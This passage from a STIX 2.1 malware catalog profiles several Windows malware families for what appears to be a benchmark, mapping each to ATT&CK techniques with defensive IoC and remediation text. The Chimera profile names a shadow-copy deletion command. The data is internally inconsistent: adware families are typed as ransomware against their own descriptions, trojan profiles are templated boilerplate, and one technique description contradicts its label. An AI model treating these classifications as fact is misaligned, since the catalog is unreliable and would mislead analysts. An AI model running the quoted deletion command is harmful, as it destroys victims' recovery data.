      "description": "Trojan:Win32/Chepdu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Chepdu</b><br>To an end-user, a Chepdu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Chepdu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Chepdu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Chepdu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Chepdu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chepdu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chepdu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e5146f5-e42c-595f-8678-c708a23eb5d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47b4bc91-8cc9-5060-944a-f42e24ffabef",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepdu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65bdbf93-096c-541f-9d4f-e4f0a77c94e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47b4bc91-8cc9-5060-944a-f42e24ffabef",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepdu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--681cd737-95ec-5aa9-b511-e8749c919bd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47b4bc91-8cc9-5060-944a-f42e24ffabef",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepdu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa276685-e4d5-5201-b1b9-666b82dd0541",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47b4bc91-8cc9-5060-944a-f42e24ffabef",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepdu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aea7a5db-4b72-5362-9f52-2d8ff0d6944e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47b4bc91-8cc9-5060-944a-f42e24ffabef",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepdu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46b4938e-27ac-5ba6-ba38-0b886121c72e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chepro",
      "description": "Trojan:Win32/Chepro is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Chepro</b><br>To an end-user, a Chepro infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Chepro is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Chepro is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Chepro frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Chepro reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chepro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chepro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05716234-4dee-518f-8a7e-e659853bc4a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b4938e-27ac-5ba6-ba38-0b886121c72e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10f476e5-76a2-5265-beca-3ef225f52a1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b4938e-27ac-5ba6-ba38-0b886121c72e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepro exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--138e66b4-d26a-54c6-b58a-5bc119c73602",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b4938e-27ac-5ba6-ba38-0b886121c72e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f79d02a-749d-553e-99d1-1cb7ad69aa5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b4938e-27ac-5ba6-ba38-0b886121c72e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepro exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df015626-8f33-5862-8fea-eed13e663f30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b4938e-27ac-5ba6-ba38-0b886121c72e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chepro exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37592d4a-a2c6-5a0b-8faa-a25989d9350b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chextad",
      "description": "Adware:Win32/Chextad is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Chextad specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Chextad (Browser Hijacking)</b><br>To an end-user, Chextad makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Chextad is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Chextad is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts (e.g., fake Flash players). Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Chextad often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chextad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chextad"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1294201d-4008-5d8a-a0e9-52dd3c5716db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37592d4a-a2c6-5a0b-8faa-a25989d9350b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chextad exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28dc4c6e-e46f-5a56-a226-41b879c37d4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37592d4a-a2c6-5a0b-8faa-a25989d9350b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chextad exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--573797ee-8f50-51e8-8d71-9cf6a848fd04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37592d4a-a2c6-5a0b-8faa-a25989d9350b",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chextad exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d035601-1d68-5fb1-94b6-91a4159fdf91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chifrax",
      "description": "Trojan:Win32/Chifrax is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Chifrax</b><br>To an end-user, a Chifrax infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Chifrax is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Chifrax is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Chifrax frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Chifrax reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chifrax",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chifrax"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d29f4af5-dc06-5df5-b891-519e8e9ab9d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d035601-1d68-5fb1-94b6-91a4159fdf91",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chifrax exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fd39944-72fd-53a1-a68f-cc6e9ef1c05b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d035601-1d68-5fb1-94b6-91a4159fdf91",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chifrax exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--647facb8-71dc-5fe4-9c0e-fd228b2e9657",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d035601-1d68-5fb1-94b6-91a4159fdf91",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chifrax exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4a5e7e6-7449-5bd0-9754-6a58b8eb4396",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d035601-1d68-5fb1-94b6-91a4159fdf91",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chifrax exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb47e94d-6453-5071-849a-995c2119a358",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d035601-1d68-5fb1-94b6-91a4159fdf91",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chifrax exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--77ff47e0-0332-5dcc-9835-8e1580d98aaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chimera",
      "description": "<h3>Executive Summary</h3>\nChimera is a highly aggressive strain of enterprise ransomware that pioneered the \"double extortion\" tactic. It not only encrypts the victim's critical data, halting business operations, but it also actively exfiltrates sensitive files to attacker-controlled servers before encryption begins. The threat actors then threaten to publish this confidential data (intellectual property, customer records, financial data) on public \"leak sites\" if the ransom is not paid, significantly increasing the pressure on the victim organization.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nChimera typically infiltrates networks via highly targeted spear-phishing campaigns delivering malicious payloads (often utilizing exploits like those found in the Angler Exploit Kit) or by brute-forcing weakly secured Remote Desktop Protocol (RDP) servers.\n\nOnce inside the network, it executes a devastating two-pronged attack:\n<ul>\n<li><strong>Data Exfiltration (The First Extortion):</strong> Before encrypting anything, Chimera maps the network and silently uploads high-value files to external cloud storage or FTP servers controlled by the attackers.</li>\n<li><strong>Rapid Encryption (The Second Extortion):</strong> It utilizes strong cryptography (AES+RSA) to encrypt user files and network shares, appending a `.crypt` extension. It actively deletes Volume Shadow Copies (`vssadmin.exe Delete Shadows`) to prevent easy data restoration.</li>\n<li><strong>Psychological Pressure:</strong> The ransom note explicitly states that data has been stolen and will be published if the cryptocurrency demand is not met, creating a severe GDPR/compliance crisis alongside the operational outage.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Chimera infection is a catastrophic security and public relations incident. It poses an existential threat to the organization through severe data loss, extended downtime, guaranteed regulatory fines (due to the data breach aspect), and immense reputational damage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Instantly sever the network connection of all infected machines to halt the lateral movement and, crucially, stop any ongoing data exfiltration.</li>\n<li><strong>Data Breach Protocol:</strong> Because Chimera exfiltrates data, this incident must be immediately treated as a major data breach. Engage legal counsel and prepare for mandatory regulatory disclosures (e.g., GDPR, CCPA). Do not attempt to negotiate without professional IR guidance.</li>\n<li><strong>Eradication and Recovery:</strong> Eradicating ransomware requires a complete infrastructure rebuild. All affected machines must be wiped to bare metal and rebuilt from known-good, offline backups. All enterprise credentials must be rotated globally.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Chimera",
        "Trojan-Ransom.Win32.Chimera",
        "Extortion.Chimera"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chimera",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chimera"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--987da78e-da4f-5c06-8df3-6af02a0d0ff2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77ff47e0-0332-5dcc-9835-8e1580d98aaa",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chimera exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff0756d0-8f29-53f2-a6f9-f57ac49d7259",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77ff47e0-0332-5dcc-9835-8e1580d98aaa",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chimera exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81f6e3df-0b70-5518-bacb-94c2061ccaef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77ff47e0-0332-5dcc-9835-8e1580d98aaa",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chimera exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ee2e491-98c2-54cc-b8a3-4d1585066425",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chinad",
      "description": "<h3>Executive Summary</h3>\nChinaAd (also referred to as Chinad) is a prevalent family of Adware, Spyware, and Potentially Unwanted Programs (PUPs) originating from Chinese software developers. While often bundled with \"free\" software to collect analytics, ChinaAd crosses the line into malicious territory by aggressively tracking user behavior, intercepting web traffic, and serving intrusive advertisements without informed consent, creating significant privacy risks.\n\n<h3>Distribution and Technical Behavior</h3>\nChinaAd is almost exclusively distributed via deceptive software bundling, commonly hidden within freeware, media players, or game client installers popular in East Asian markets.\n\nOnce active, ChinaAd integrates deeply into the operating system and web browsers. Its core behaviors include:\n<ul>\n<li><strong>Aggressive Telemetry:</strong> ChinaAd continuously tracks the user's browsing history, search queries, application usage, and geolocation. This data is aggregated and transmitted to remote analytics servers, often in plaintext or using weak encryption, exposing the data to interception.</li>\n<li><strong>Traffic Interception:</strong> The software frequently installs a local proxy server or malicious browser extensions to intercept web traffic, overlaying legitimate websites with intrusive pop-ups, pop-unders, and sponsored content.</li>\n<li><strong>Browser Hijacking:</strong> It forcibly alters the default search engine, homepage, and new tab settings to redirect all traffic through affiliate-linked portals controlled by the adware operators.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile ChinaAd is not inherently destructive (it does not encrypt files like ransomware), it introduces severe privacy and operational risks. The massive amount of telemetry collected violates enterprise privacy policies, and the injected advertisements are frequently served by low-reputation ad networks, increasing the likelihood of \"malvertising\" and secondary malware infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the ChinaAd executables, hidden scheduled tasks, and persistent registry keys used for tracking.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that frequently bundle this type of spyware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.ChinaAd",
        "Spyware.Chinad",
        "PUP.ChinaAd"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chinad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chinad"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--554fa446-8920-5317-8f63-b3fb4d04b084",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ee2e491-98c2-54cc-b8a3-4d1585066425",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chinad exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--539d0afb-d08d-5b4f-bb5c-95f29aa3d933",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ee2e491-98c2-54cc-b8a3-4d1585066425",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chinad exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff6077ac-db2b-5592-bf67-97a9649e12db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ee2e491-98c2-54cc-b8a3-4d1585066425",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chinad exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbe1fcde-3c5f-54d9-8836-1fcc9fb3987b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ee2e491-98c2-54cc-b8a3-4d1585066425",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chinad exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--42554dd8-d411-5c27-8eeb-36f1c295df0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chinbo",
      "description": "<h3>Executive Summary</h3>\nChinbo is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nChinbo is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Chinbo operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Chinbo ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Chinbo receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Chinbo infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire 